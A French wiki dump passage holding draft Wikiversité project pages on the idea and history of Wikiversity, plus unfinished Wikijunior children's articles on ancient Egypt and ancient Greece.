apprendre, incluant : ** des classes et travaux pratiques(TAs?) pour discuter, travailler sur les buts à atteindre ou sur le processus d'apprentissage, ** des référents sur divers domaines auxquels il sera possible de poser des questions, ** des experts spécialisés sur un domaine précis capables de valider l'entrée, les acquis, ou reconnaître le niveau d'un étudiant sur ce domaine.<!-- je traduis peut être pas exactement l'idée d'origine ici, à modeler... --Boly --> * un mécanisme d'évaluation et/ou de certification, qui permettra aux étudiants d'établir leur qualification et leurs aptitudes à un travail, les préparant et les aidant ainsi à un entretien d'embauche ou autres... Il paraît évident qu'aucune des possibilités ci-dessus n'est impossible à coordonner en ligne ou à l'aide de contenu ou d'outils ouverts. Si elle doit, le cas échéant, servir d'alternative aux universités traditionnelles, la wikiversité devra probablement assumer toutes ces fonctions à l'avenir. Nous débutons un sujet à la fois, un outil, une fonction, une méthode à la fois. Si nous n'atteignons pas toutes ces fonctions tout de suite, tout est sujet à discussion, tout est possible, sachez que ce projet vient seulement de naître... <!-- == The Scope of Wikiversity == OK : Despite the tremendous contributions of educational content from the [[w:Wikibooks|Wikibooks]] and [[w:Wikipedia|Wikipedia]] projects, there remains much that universities and schools can offer students and researchers, but which is outside the scope of these other wikimedia projects. Previous wikimedia projects, taken together, constitute a totally new kind of library. Wikiversity is a project to supply additional material or capability -- to make a totally new kind of school. OK: There are many ways, besides the delivery of textbook and encyclopedic content, that universities empower their members. They provide: OK: * projects and activities, and means for their coordination, for those who learn best by doing things like fieldwork, design, construction, experimentation, the invention and defense of hypotheses, etc; as well as those who learn best in groups. OK: * a culturally "blessed" opinion of which skills and what knowledge is necessary to fulfill a culturally-defined role (e.g. doctor, anthropologist, linguist, etc) so that the student can monitor their own progress in attaining that skillset ~OK : * a social environment for learning, including: ** classmates and TAs with which to discuss the subject matter and the process of learning ** experts of various kinds of which to ask questions ** experts that are well-connected in a field and who can oversee a student's entry and acceptance into it * an evaluative mechanism and certification process which lessen the graduate's need to establish their knowledge, skills, and work ethic at every job interview or other opportunity ~OK : It is fairly clear that none of the above capabilities are impossible to coordinate online or using open content and tools, and if it is ever to serve as an alternative to traditional universities, the wikiversity will likely need to assume all of these functions eventually. Whether we get there one subject at a time, one function at a time, or indeed whether we get there at all is still a matter for debate, as the project is in its infancy. --> ==Historique== La discussion dans [[:en:Wikibooks:Staff lounge|un salon anglophone de représentants de wikibooks]] a remis en cause les termes et la teneur de ce projet. Tandis que des méthodes de la communauté Wiki pourraient être employées pour développer ''les livres traditionnels'', les équipements d'Internet et du Web pourraient être employés pour soutenir de nouveaux ou différents modèles comme matériel d'éducation. Un des objectifs de wikilivres est de soutenir l'utilisation de livres comme moyens permettant aux enseignants de faciliter une formation, d'apporter des exercices additionnels, et/ou des réponses, ... La discussion a alors pris plusieurs directions. Certaines concernaient un environnement pour organiser et soutenir un apprentissage sous une forme différente que celle d'un livre. Après plusieurs propositions, et discussions, le nom de ''Wikiversity'' a été retenu pour décrire cet environnement. Il y a depuis eu plusieurs sujets à controverse, notamment : * est-ce que l'objectif de la wikiversité est d'être un complément ou bien une alternative aux méthode traditionnelles d'apprentissage des classes universitaires ? * est-ce que la wikiversité doit inclure ou non les concepts d'accréditation, du (degré-confering?), ou des méthodes d'évaluation en général ? * est-ce que la wikiversité doit modeler ou non son organisation avec des concepts régissant les universités (ex: départements, facultés, ...) ? (Veuillez dès lors vous reporter à la [[Wikiversité:Wikiversité|page francophone du projet]]). Il y a cependant eu des concensus sur '''ce que n'est pas la wikiversité''' : * une collection de liens externes vers des ressources sur des formations (Évidemment, il peut y avoir certains liens mais ceux-ci doivent être pertinents dans leur contexte, être utiles pour compléter l'éducation/la formation concernée). * une collection d'un an ou d'incréments d'un semestre pour des qualifications ou des capacités (NDLR: ???). * une collection de guides "''How To''"; ceux-ci sont associés au projet wikilivres (''NDLR: pour la version francophone la séparation entre le projet Wikilivres et le projet de wikiversité n'est peut être pas aussi claire...''). * une collection de tutoriels, de livres, ou des matériaux d'éducation en ligne; même si quelques-un seront inclus comme matériel additif ou liés aux projets wiki. * un site type blog, chat, forum ou group Usenet avec des sujets trop individuels, ou bien non liés aux objectifs premiers d'éducation. ou au contraire sur '''ce qu'est la wikiversité''' : * un moyen pour apprendre : moyen libre, ouvert et gratuit (dans le même ordre d'idée que les autres projets wikimedia), * une ressource comportant une pluralité dans les méthodes et processus d'éducation employés. * un effort communautaire global, * un projet colaboratif, permettant de faire remonter les informations pour créer des plate-formes, des méthodes et le contenu de la wikiversité. * une expérience / expérimentation d'apprentissage à l'aide des nouvelles technologies (ordinateurs, Internet). * une collection de ressources gratuites et ''open-source'' (librement réutilisables). * la communauté essayera de limiter le contenu en se basant sur la pertinence ou sur la validité; les limites seront basées sur l'utilité pour une audience de taille raisonnable, ou pour soutenir des normes de la communauté ou la décence et la courtoisie. * la communauté ne se limitera par contre pas aux ''méthodes approuvées'' ou à la ''popularité'' / ''notoriété'' d'un sujet ou d'une approche. <!-- ==History== Wikibook discussion in the [[Wikibooks:Staff lounge|Staff Lounge]] questioned the intent and content of that project. While Wiki community methods might be used to develop traditional ''textbooks'', the Internet and Web facilities could also be used to support new or different models for delivery of educational material. One of the goals of Wikibooks is to support the use of resulting books through related materials that would help an instructor to tailor the book to a particular course, or provide additional exercises and answers, drill material, etc. The discussion then went in several directions, some of which addressed an environment for organizing and supporting learning in ways other than textbooks. After several proposals and discussion the name '''Wikiversity''' was selected to describe this environment. There have since been several issues of contention, including: * whether wikiversity aims to be a supplement or an alternative to the traditional classroom approach to learning. * whether or not to include ideas of accreditation, degree-confering, or evaluative methods in general * whether or not to model the general organization of the site around the concepts used in organizing universities (e.g. departments, courses, etc) Please see the talk page and break-out pages for more information. There has also been some agreement about what the wikiversity is not: * A collection of high-level links to training resources. But, of course, there should be such links if they serve for educational purposes. * A collection of one year or one semester increments in skills or abilities. * A collection of ''How To'' Books; that domain belongs to Wikibooks. * A collection of tutorials, books, or on-line reference material; although some of these will be included in supporting material or related Wiki projects. * A blogging site with individual subject or topic rants. * A chat room or Usenet group. And what it is: * a free, open learning resource, in the sense that other wikimedia projects are free and open * a resource that embraces a plurality of learning styles and teaching methods * a global community effort * A collaborative, bottom-up project to create the platform, methods, and content of the Wikiversity. * A learning resource for the subject areas addressed. * An experiment in the application of computers and the Internet to learning. * A collection of free and open-source learning resources. * The Community will attempt to limit material based on accuracy or validity, and some limits are imposed based on their utility for a reasonable size of audience, or to support community standards or decency and politeness. * The Community does not limit material based on ''approved methods'' or the popularity of either subject matter or approach. --> == Piste proposée == ===Matériel pédagogique=== Il est évident que ce projet ne peut être réalisé sans avoir à disposition des ressources pédagogiques suffisantes. Wikibooks et Wikipédia en sont, mais cela n'est certainement pas suffisant. L'internet fournit de nombreuses ressources par ailleurs, mais il faut se poser la question des ressources permanentes. Il a été suggéré d'archiver tout le matériel référencer à travers des liens externes, pour pouvoir les utiliser même s'ils disparaissent d'internet pour une raison ou pour une autre. Alors se pose aussi le problème de droit intellectuel. Mais cela ne doit pas être insurmontable. De trés bon matériel pédagogiques de ce type ont été crées par des étudiants ou des faccultés sur les sites d'écoles. Ces pages sont supprimées après départ des étudiants ou des enseignants de la fac en question. Si les auteurs pouvaient être localisés, il seraient certainement heureux que leur travail soit reconnu et conservé. [A CONTINUER cf. commentaires...] <!-- == Proposed Guidelines == ===Supporting materials=== OK It is obvious that the visions cannot be accomplished without access to a tremendous store of material. Wikibooks and Wikipedia are good resources, but they don't cover everything. The Internet itself can provide many of these resources, but we must address the question of persistent resources. OK A suggestion here is to archive any material referenced through an external link, for use if the Internet resource is removed. We then face licensing and permission issues, but these should not be insurmountable. Many excellent materials of this kind have been created in student or faculty areas on the Web sites of schools. These pages are removed after graduation or when that faculty member moves on. If the original author can be located and given appropriate recognition they would frequently be delighted to find that someone thinks their efforts worth preservation. Another possibility is the [[Wikipedia:en:Internet Archive|Internet Archive's Wayback Machine]]. Many sites are already crawled by it; in the case that the referenced material is suitably archived there (the Archive does not always capture all the images and certainly does not cover many filetypes) one possibility is that this material instead be linked to from the Archive whenever possible, as this leaves both the archiving process and the burden of permission entirely with the Archive rather than on Wikiversity. --> ===Un catalogue de domaine d'étude=== *Physique **[[Wikiversité:Département d'Astronomie]] **[[Wikiversité:Département de chimie]] **[[Wikiversité:Département informatique]] **[[Wikiversité:Département de Géologie]] **[[Wikiversité:Département de Mathématiques]] **[[Wikiversité:Département de Physique]] **[[Wikiversité:Département d'Électronique]] *Biologie **[[Wikiversité:Département de Biologie]] **[[Wikiversité:Département de Biologie Végétale]] **[[Wikiversité:Département de Médicine]] **[[Wikiversité:Département de Biologie Animale]] **[[Wikiversité:Département de Biologie Cellulaire]] **[[Wikiversité:Département de Neuroscience]] *Sciences Humaines <!-- == A Catalog of Subject Areas == The Wikiversity is organized into broad subject areas, and these are further divided into subjects and topics. The first two levels of this broad domain organization include: *Physical Sciences **[[Wikiversity:School of Astronomy]] {{stage short|00%|Apr 8, 2005}} **[[Wikiversity:School of Chemistry]] {{stage short|00%|Apr 8, 2005}} **[[Wikiversity:School of Computer Science]] **[[Wikiversity:School of Geology]] {{stage short|00%|Apr 8, 2005}} **[[Wikiversity:School of Mathematics]] **[[Wikiversity:School of Physics]] **[[Wikiversity:School of Electronics]] [[image:25%.png]] *Life Sciences **[[Wikiversity:School of Biology]] **[[Wikiversity:School of Plant Sciences]] **[[Wikiversity:School of Medicine]] **[[Wikiversity:School of Zoology]] *'''[[Wikiversity:Humanities| Humanities]]''' **[[Wikiversity:School of Art and Design]] **[[Wikiversity:School of Literature and English Studies]] **[[Wikiversity:School of Law]] **[[Wikiversity:School of Linguistics]] **[[Wikiversity:School of Music]] **[[Wikiversity:School of Philosophy]] {{stage short|25%|Apr 8, 2005}} **[[Wikiversity:School of Theology]] **[[Wikiversity:School of Classics]] *Practical Arts and Sciences **[[Wikiversity:School of Business]] **[[Wikiversity:School of Education]] **[[Wikiversity:School of Engineering]] {{stage short|25%|Apr 8, 2005}} **[[Wikiversity:School of Health Informatics]] **[[Wikiveristy:School of Foreign Language Learning]] {{stage short|00%|Apr 8, 2005}} **[[Wikiversity:School of Library and Information Science]] **[[Wikiversity:School of Photography/ in German see wikibooks]] **[[Wikiversity:School of Project Management]] *Automotive Technology **[[Wikiversity:School of Autobody Repair]] *'''[[Wikiversity:Social Sciences| Social Sciences]]''' **[[Wikiversity:School of Anthropology]] **[[Wikiversity:School of Communication]] **[[Wikiversity:School of Economics]] **[[Wikiversity:School of History]] **[[Wikiversity:School of Media Studies]] **[[Wikiversity:School of Political Science]] **[[Wikiversity:School of Psychology]] **[[Wikiversity:School of Sociology]] * [[Wikiversity:Organization|Wikiversity Organization]] The '''community page''' where we may: :'''Ask, discuss and expose''' any '''policy''' related with the Wikiversity. :'''Coordinate the different Wikiversities''' [[Wikiversity:Multilingual coordination]]. ==Similar Work== The following samples of courses, books, tools, and methods have not been reviewed for public availability or copyright. Their listing here isn't an endorsement, but just for consideration as potentially useful techniques. ===Textbook examples === : An example of a full textbook based on a course expanded from Web resources. Source is an Introductory Biology course by M. Farabee at Estrella Mountain Community College, Avondale, Arizona. [http://www.emc.maricopa.edu/faculty/farabee/BIOBK/BioBookTOC.html Biology Table of Contents] : An example of textbook material using HyperCard concepts for presentation. Source is HyperPhysics from C. Nave at Georgia State University. [http://230nsc1.phy-astr.gsu.edu/hbase/hframe.html Hyperphysics top contents Page] === Web examples === : An example of indexing a mass of technical material, not a linear textbook. This is a broad set of fundamental material, to show indexing and other techniques. Taken from Wolfram Research Company, it is called Weisstein's World of Math. [http://mathworld.wolfram.com/ Mathworld Start Page] : An example of a tutorial style and the use of Java Applets for interactive parts. From a Physics course at the University of Colorado at Boulder. [http://www.colorado.edu/physics/2000/waves_particles/wavpart2.html Sample Page] : An example that uses tutorial method intermixed with textbook style material. Taken from the Physics Classroom, support material for a high school Physics course. [http://www.physicsclassroom.com/Default2.html Tutorial Top Page] : An example of Programmed Instruction that uses a program to explain what PI is. This is NOT a good program, but does give an overview of the method. The site is the Center for Programmed Instruction. [http://www.centerforpi.com/cgi-local/WhatIsPI_MainMenu.pl What is PI?] : A fairly large set of free tutorials on Internet and Web technologies from a corporate source: Refsnes Data, a Norwegian Web consulting company. It has good content but shows the limits of a no cookie or user ID system. [http://www.w3schools.com/about/ Contents page]. :A website devoted to teaching Esperanto: [[http://lernu.net Lernu!]]. It has courses with small sets of vocabulary, flash card systems to practice, and assignments that are sent to volunteer readers who return them with comments. Sometimes live classes are held, and there is a real time chat room. [[wikipedia:User:JesseW]] 01:17, 19 Nov 2004 (UTC) :An example from the web of an open-source online classroom format: "Moodle is a course management system designed to help educators who want to create quality online courses. The software is used all over the world by universities, schools, companies and independent teachers. Moodle is open source and completely free to use." URLs: http://moodle.org/ or http://moodle.com --[[User:balTHOMore|balTHOMore]] ===Supporting Material=== :A traditional University's approach to on-line education resources. The material is all organized based on MIT's course catalog. (MIT is the Massachusetts Institute of Technology). [http://ocw.mit.edu/index.html MIT Open courses experiment] :A general, public site with sets of Flashcards (for summary review, memorization, or testing) [http://www.flashcardexchange.com/index.php The Flashcard Exchange Home Page]. ===Mathematics=== :[http://archives.math.utk.edu/visual.calculus/ Visual Calculus] is a very good introduction to single variable calculus with explanations and exercises made with flash. ==An Idea== (I apologize for posting this twice) I almost hate to suggest this, but I wonder if it's time for a sort of governing body of Wikiversity. I agree it sounds sort of stupid, and I realize the idea is to move away from the traditional format, however, I feel like there's no direction. There's no vision, it seems, and I feel that perhaps forming even a temporary leadership body to the entire Wikiversity might not be a terrible idea. Although it maybe, but I wanted to share it. [[User:Atrivedi|Atrivedi]] ==A conference in South Africa: looking to a possible implementation of Wikiversity== Those who dream with this project becoming reality may have a look at http://meta.wikimedia.org/wiki/Conference_reports/FLOSS%2C_South_Africa_2005 [[User:Javier Carro|Javier Carro]] 13:31, 24 Apr 2005 (UTC) --> [[en:Wikiversity:Some ideas about Wikiversity]] [[Catégorie:Wikiversité|Quelques idées à propos de la wikiversité]] Wikiversité/Tâches à faire 7135 33600 2006-02-20T00:59:42Z Boly38 136 +bandeau {| width="100%" style="background: lightyellow; border: 1px solid black;" cellspacing="0" cellpadding="10" | bgcolor="lightblue" align="center" | <font size="+2">Tâches à faire pour le projet [[Wikiversité]]</font> |- | bgcolor="lightyellow" | Voici les tâches à faire pour le projet. *Si vous souhaitez suggérer de nouvelles tâches, veuillez les inscrire en fin de liste ('*' ou '**' en début de ligne). *Si vous avez réalisé une tâche, merci de la barrer <s>comme ceci</s>. Veuillez indiquer le maximum de liens [[w:InterWiki|InterWiki]] permettant de comprendre la tâche à réaliser et/ou le travail accomplit. |} * Finir de traduire [[Wikiversité:Quelques idées à propos de la wikiversité]] (le lien vers :en y est) * Eventuellement traduire et/ou intégrer des éléments depuis [[meta:Wikiversity|la page méta]] (sur [[Wikiversité:Wikiversité]] ?) * Améliorer [[Wikiversité:Créer un nouveau département]] : ** Lister les concepts/méthodes de travail déjà présentes, ** concevoir, proposer, décider d'une méthodologie, faire des guides ... * Lister sur [[Wikiversité:Wikiversité]] les différentes facultés / départements déjà présents et leur état d'avancement (d'activité) ? ([[Wikiversité:Département informatique|le département informatique]] est le plus avancé ?) * Référencer les pages existantes sur la wikiversité au sein de [[:Catégorie:Wikiversité|la catégorie]] ===Voir aussi=== * [[Wikilivres:Le Bistro#structure de la wikiversité]] <noinclude>[[Catégorie:Wikiversité|Tâches à faire]]</noinclude> Catégorie:Wikiversité 7136 33594 2006-02-20T00:33:41Z Boly38 136 création ''Liste des pages liées au [[Wikiversité:Wikiversité|projet]] de [[Wikiversité]]'' Wikilivres:Projets 7137 33601 2006-02-20T01:01:50Z Boly38 136 +noinclude explicatif (le contenu présent dans noinclude n'est pas inclus :) <noinclude>''Cette page sert de constituant aux bandeaux de bas de page présents sur les projets de wikilivres. Merci de veiller à ce qu'elle reste succinte.''</noinclude> ==Les projets de wikilivres== La [[Wikiversité]] et [[Wikijunior]] sont des projets de [[Wikilivres]]. Vous pouvez consulter [[wikilivres:le Bistro|le bistro]] pour vos remarques, questions, etc, mais privilégiez les pages de discussion associées aux projets. Wikijunior:Les civilisations anciennes 7140 43116 2006-05-25T09:14:53Z 88.73.216.53 + Interwiki Sommaire : *[[L'Égypte]] (Afrique) *[[La Mésopotamie]] (Asie) *[[La Grèce antique]] (Europe) *[[L'empire romain]] (Monde méditerranéen) *[[Les Mound Builders]] (Amérique du Nord) *[[Les Anasazis]] (Amérique du Nord) *[[Les Aztèques]] (Amérique centrale) *[[Les Mayas]] (Amérique centrale) *[[Les Incas]] (Amérique du Sud) [[en:Wikijunior Ancient Civilizations]] [[de:Wikijunior Alte Zivilisationen]] [[Catégorie:Wikijunior]] Wikijunior:Les civilisations anciennes/L'Égypte 7141 43117 2006-05-25T09:15:48Z 88.73.216.53 + Interwiki {{EnTravaux}} =L'Égypte est un don du Nil= [[Image:Eye of Ra.svg|left|200px]][[Image:Eye of Ra2.svg|200px|right]] La civilisation égyptienne il y a environ 5000 ans dans la vallée et le delta du Nil. Le Nil, le plus long fleuve d'Afrique, coule du sud vers le nord et se jette dans la Mer Méditerranée. Il prend sa source dans la région des Grands Lacs en Afrique de l'Est. L'Égypte est un pays désertique où l'installation des Hommes aurait été impossible sans la présence du Nil. Les Égyptiens puisent l'eau nécessaire à l'agriculture dans le grand fleuve. Ils chassent, pratiquent la pêche et cueillent le lotus et le papyrus sur ses rives. Pendant sa décrue, d'octobre à mai, le Nil dépose sur les terres qui le bordent une boue fertile, le limon. Le Nil est même considéré comme un dieu par les Égyptiens, car il apporte la vie. Enfin, le Nil est utilisé pour transporter des marchandises et des matériaux de construction. Il représente l'axe majeur du peuplement du pays. =Le pharaon dirige l'Égypte= Le pharaon est le souverain de l'Égypte. Pour le peuple, il est comme un dieu sur terre. Il garantit l'harmonie du monde (le mâat) et veille à ce que les dieux protègent le pays. Par exemple, il doit prier pour que le dieu du Nil apporte la crue. Le pharaon doit assurer la sécurité et la prospérité de l'Égypte : roi guerrier, il agrandit son territoire par des conquêtes. Le pharaon Ramsès II, qui a régné au XIII{{e}} siècle avant J.-C., a combattu le peuple Hittite en Asie Mineure. Pour montrer sa toute-puissance, il fait construire d'imposants monuments. ==Les attributs du pharaon== [[Image:Tutanchamun Maske.jpg|right|200px]] Le pharaon est souvent figuré avec les objets symboliques de son pouvoir : *La double couronne (le pschent) représente les deux royaumes égyptiens *Le bâton et le fouet sont des signes d'autorité *La barbe postiche rappelle qu'il est immortel Sur le sarcophage de Toutankhamon, le pharaon porte une coiffe (le némès) sur laquelle sont posés un cobra et un vautour, des animaux protecteurs de l'Égypte. Il tient ces insignes pendant les cérémonies officielles. ==L'administration égyptienne== [[Image:Egypte louvre 285 scribe.jpg|thumb|200px|Scribe assis]] Le pharaon a besoin d'une administration pour gouverner l'Égypte. De nombreux fonctionnaires sont à son service ; ils travaillent dans la capitale ou dans les régions. Le plus important est le vizir, qui le principal ministre du pharaon. Son rôle est de contrôler les dépenses et de faire appliquer les décisions royales dans les provinces par les gouverneurs. Les scribes se chargent des domaines du roi et des temples. Ils perçoivent les impôts, surveillent les réserves en céréales ainsi que les travaux autour du Nil. =La religion égyptienne= ==Les dieux== [[Image:Egypt bookofthedead.jpg|thumb|right|200px|Le livre des morts. Osiris est assis à droite]] Les Égyptiens étaient polythéistes, ce qui veut dire qu'ils croyaient en de nombreux dieux. Au XIVe siècle, la pharaon Akhenaton a essayé d'imposer une divinité unique dans son pays. Mais cette tentaive resta sans lendemain car la population était fermement attachée à ses dieux. Les dieux égyptiens ont l'apparence d'être humain ou ressemblent à des animaux que l'on trouve dans le pays. Certains possèdent un corps humain et une tête d'animal comme Horus ou Anubis. Chacun a des attributs qui permettent de les reconnaître *Rê, dieu du Soleil, est représenté avec une tête de faucon *amon-Rê *Osiris dispose des attributs du pharaon *Isis *Seth *Anubis, dieu de la momification, a une tête de chacal *Thot, dieu des scribes et de la sagesse, a une tête de babouin ou d'ibis ==Les temples== [[Image:Edfu pylon from courtyard.jpg|thumb|left|200px|Temple d'Edfou : la cour et l'arrière des pylones]] Le temple est la maison d'un dieu, dans laquelle des prêtres font des cérémonies et lui rendent un culte. Il existait de nombreux temples pendant le Nouvel Empire (XVIe / XIe siècles avant J.-C.) : le temple d'Amon à Karnak, celui d'Horus à Edfou ... Les temples égyptiens sont immenses, construits en pierre et décorés de peintures et de hiéroglyphes. Ils sont fermés à l'extérieur par un grand mur d'enceinte. Devant l'entrée du temple de Karnak sont alignées deux rangées de sphinx. La porte est encadrée par deux obélisques et de pylônes qui forment une entrée monumentale. Derrière l'entrée monumentale se trouvaient la cour à colonnes, puis la salle hypostyle, la salle de la barque et enfin le sanctuaire (''naos''). Cette dernière pièce est située tout en fond de l'édifice. Elle abrite la statue du dieu. Seuls les prêtres et le pharaon peuvent y accéder. Les prêtres qui formaient le clergé s'occupe du culte : ils font des gestes, disent des paroles et chantent pour s'adresser au dieu. Ils font des offrandes, donne de la nourriture et lave la statue du dieu le matin. ==Les croyances et les mythes== Les dieux protègent le royaume d'Égypte : Rê lui donne la lumière solaire ; Isis apporte la vie ; Hapi fait déborder le Nil ; Horus combat les forces du mal. Les Égyptiens croient qu'il existe une vie après la mort, dans un autre monde. Dans l'au-delà, chaque Homme passe devant le tribunal d'Osiris qui juge ses actions pendant son existence. Le cœur du défunt est déposé sur un plateau d'une balance ; dans l'autre plateau est posée la plume de sagesse et de vérité. Si le cœur est plus lourd que la plume, le défunt est dévoré par un monstre. Sinon, il intègre le royaume d'Osiris pour l'éternité. Généralement, on déposait dans la tombe des formules écrites et des amulettes pour accompagner et protéger le mort dans cette épreuve. ===Le mythe d'Osiris=== Les Égyptiens croyaient à la légende d'Osiris : dans un passé très lointain, le premier pharaon nommé Osiris fut assassiné par son frère Seth. Ce dernier découpa le corps en de multiples morceaux. Mais la femme pays. Elle réussit à l'embaumer avec l'aide d'Anubis et Osiris revint à la vie. Osiris est devenu le dieu des morts et son fils Horus se vengea de Seth pour devenir pharaon. ===Les amulettes=== [[Image:Egypte louvre 090 pendentif.jpg|thumb|200px|Pendentif égyptien en forme de scarabée, porte-bonheur]] Les Égyptiens portent des amulettes, c'est-à-dire des petits objets qui doivent porter chance. Ces talismans étaient : *La croix à boucle *L'œil d'Horus est sensé protéger la personne des maladies *Le pilier Djed symbolise la colonne vertébrale du dieu Osiris *Le scarabée ==Les pratiques religieuses== ===Les offrandes et les cérémonies=== Les prêtres sortaient la statue du dieu lors des grandes processions. Elle était installée sur une barque portative. =Les pyramides, dernières demeures des pharaons= [[Image:Sphinx de gizeh de face.JPG|thumb|left|200px]] =Les paysans et les artisans= La plupart des paysans sont des agriculteurs. Ils résident dans des villages près du Nil. Ils doivent payer un impôt en nature aux prêtres et au pharaon. Ils doivent aussi assurer les corvées, c'est-à-dire travailler sur les grands chantiers commandés par le pharaon, pendant la crue du Nil. Les artisans travaillent à leur compte ou pour le clergé et la famille royale. Ils fabriquent de beaux bijoux ou des objets de la vie quotidienne. Au III{{e}} et II{{e}} millénaires, les pièces de monnaie n'exitaient pas : les marchandises étaient échangées contre du grain ou d'autres produits. C'est ce que l'on appelle le troc. =La vie quotidienne= Grâce au climat sec de l'Égypte, les archéologues ont pu retrouver de nombreux objets de la vie quotidienne, en parfait état de conservation. Aujourd'hui, on peut admirer ces objets dans les grands musées du Caire, de Paris, de Londres ou de New York. ==L'écriture== [[Image:Hieroglyphe karnak.jpg|150px|left]] Les hiéroglyphes [[de:Wikijunior Alte Zivilisationen/ Araber]] [[en:Wikijunior Ancient Civilizations/Arabian]] Wikijunior:Les civilisations anciennes/La Grèce antique 7142 47130 2006-07-02T13:04:52Z 203.109.225.187 /* Périclès et la démocratie */ image {{EnTravaux}} La civilisation grecque a été l'une des plus brillantes de l'Antiquité. L'héritage qu'elle a laissé à l'Occident est considérable : le génie des Hellènes (les Grecs) s'est particulièrement illustré dans les sciences, l'histoire, les arts et les lettres. Leur culture s'est diffusée dans tout le bassin méditerranéen. Les Romains l'admiraient et y faisaient souvent référence. Au Moyen Âge, les Arabes ont recopié les ouvrages grecs et ont transmis leurs connaissances aux Européens. [[Image:Greek sanctuaries.png|thumb|350px]] =La naissance du monde grec= ==Le cadre géographique== La Grèce est une péninsule montagneuse du sud-est de l'Europe. Les plaines sont rares et situées sur le littoral de la Mer Egée et de la Méditerranée. Le climat de la Grèce est méditerranéen sur les côtes : les étés sont chauds et secs. Cela permet aux habitants de cultiver la vigne, les céréales et l'olivier. À cause des ces conditions, les Grecs se sont très vit tournés vers la mer : ils en tiraient des ressources (pêche, sel) et se sont mis à l'explorer. ==La période mycénienne== ===L'arrivée des Achéens=== Vers 2 000 avant Jésus-Christ, un peuple du nord de la Grèce, les Achéens, installe des royaumes qui sont souvent guerre les uns contre les autres. Ils savent aussi s'allier contre un ennemi commun, comme ce fut le: ils enterraient leurs morts dans les maisons. Ils maîtrisaient la fabrication du bronze. ===La civilisation mycénienne=== [[Image:MaskeAgamemnon.JPG|thumb|250px|Masque en feuilles d'or, dit d'Agamemnon. Civilisation mycénienne]] *Histoire *Constructions et art *Écriture : les Mycéniens utilisaient une écriture qui est longtemps restée mystérieuse : le linéaire B. Composée de plusieurs dizaines de signes, cette écriture ne fut déchiffrée que dans les années 1950, à partir de tablettes. Tout comme dans l'Égypte des pharaons, les scribes maîtrisaient l'écriture et travaillaient soit pour eux-mêmes, soit au service du palais royal. Ils contrôlaient l'activité économique en notant les entrées et les sorties de marchandises ou en distribuant la nourriture. ===Les invasions doriennes=== ==La période archaïque== La période archaïque s'étend du VIII{{e}} au VI{{e}} siècle avant J.-C. Elle succède à temps obscurs. Elle voit se former un monde grec organisé en cités concurrentes. ===Un monde de cités=== Les Grecs ne sont pas unis dans un seul royaume, comme en Égypte. Ils vivent dans des cités dispersées tout autour de la Mer Méditerranée. La cité grecque (''polis'') est un territoire réduit composé d'une ville et de sa campagne proche. Elle est comme un pays en miniature avec ses institutions politiques propres. Chaque cité dispose de son propre gouvernement (tyranie, démocratie ou oligarchie), de sa divinité protectrice ou de sa monnaie. Les cités grecques les plus célèbres sont Athènes, Thèbes et Sparte. Ouvertes sur la mer, les cités grecques font du commerce, s'allient ou se combattent au cours de guerres fréquentes. À partir du VIII{{e}} siècle avant J.-C., une partie des Grecs fonde des cités sur les rives de la Mer Méditerranée. Des habitants de la cité de Phocée en Asie mineure, partent s'installer dans le sud de la Gaule : ils fondent Marseille vers 600 avant J.-C. D'autres colonisent l'île de la Sicile, le sud de l'Italie (appelé "Grande Grèce"), l'Espagne ou le nord de l'Afrique. Ils apportent avec eux leur langue, leur culture, leur religion. Ils bâtissent des temples, des théâtres, des bâtiments municipaux comme ceux qui existe dans les villes de Grèce. Mais les colonies grecques sont indépendantes de leur cité-mère (métropole). Platon dira que les Grecs sont comme des grenouilles autour d'une mare, disséminés autour de la Méditerranée. <div style="float:left; border:1px solid #8888aa; background-color:#BBB2FF; font-size:90%; padding:4px"> [[Image:Nuvola 64 apps kopete.png|50px]] <font color=purple>'''Savais-tu que ...'''</font> Beaucoup de mots français ont une lointaine origine grecque : ''polis'' (la "cité" en grec) a donné le mot "politique" ; ''demos'' (qui signifie peuple en grec) se retrouve dans démocratie ("le pouvoir du peuple"). Histoire vient d'un mot grec signifiant "enquête" et la géographie est la science qui étudie la Terre qui se dit "''Gê''" en grec. La liste des mots est longue ! Imaginons un récit dont les principaux mots (en gras) ont une étymologie grecque : Ce matin, '''Sophie''' est allée au '''musée''' avec son '''lycée'''. Elle s'intéresse beaucoup à l''''histoire''' de sa ville, '''Nice'''. L'après-midi, elle a étudié la '''philosophie''' et les '''mathématiques''' avant d'aller faire de la '''gymnastique'''. Elle est rentrée chez elle, a regardé quelques '''photos''' mais il y eut une panne d''''électricité'''. Elle décida alors de finir la soirée au '''théâtre''' avec quelques amis. Un grand nombre de mots français s'écrivant avec un "Y" (i grec) viennent de cette civilisation : labyrinthe, hygiène, hyper, polygone ... </div> <br clear=all> ===Les Grecs partagent la même religion et la même culture=== [[Image:NAMA Poséidon.jpg|250px|right]] Si les Grecs sont divisés en plusieurs cités, ils ont en commun une même religion et connaissent les mêmes histoires légendaires. L'ensemble de ces histoires s'appelle la mythologie. *La religion grecque est polythéiste. Les Grecs croyaient en de nombreuses divinités. Contrairement aux dieux égyptiens, les dieux grecs étaient le plus souvent représentés sous un aspect humain. Cela ne les empêche pas de prendre des formes variées pour parler aux hommes ou séduire les femmes. La mythologie grecque raconte que Zeus, le plus puissant de tous les dieux, *Les principaux dieux grecs sont, avec leurs attributs : **Zeus (dieu du Ciel ; sceptre et éclair) **Héra (femme de Zeus, déesse du mariage ; sceptre et coupe) **Poséidon (frère de Zeus, dieu de la mer ; trident) **Athéna (fille de Zeus, déesse de la guerre et de la sagesse : casque et lance) **Arès (dieu de la guerre ; armes) **Aphrodite (déesse de la beauté et de l'amour) **Apollon (dieu de la beauté, du soleil, de la poésie et de la musique ; lyre) [[Image:Bellerophon und Pegasus Relief MK1888.png|250px|right|Pégase, le cheval ailé]] **Artémis (déesse de la chasse et de la nature sauvage ; croissant de lune, arc, cerf) **Hermès (dieu des voyageurs, du commerce et des voleurs ; sandales et casque ailés, caducée) **Dionysos (dieu du vin, de l'ivresse, du théâtre ; coupe de vin, feuilles de vigne) **Déméter (déesse de la fécondité et du blé ; gerbe de blé, faucille) *Les héros : un héros est en général le fils d'un être humain et d'une divinité **Héraclès réussit 12 épreuves imposée par Zeus **Thésée tue le minotaure dans le labyrinthe de Minos **Persée décapite Méduse *Les monstres, animaux hybrides, peuplent les mythes grecs ; les héros doivent souvent triompher des monstres dans des combats épiques : **Les sirènes vivent dans la mer et se nourrissent de chair humaine **Les gorgones sont des femmes aux cheveux de serpents **Les cyclopes sont des géants à un seul œil **Les centaures sont des 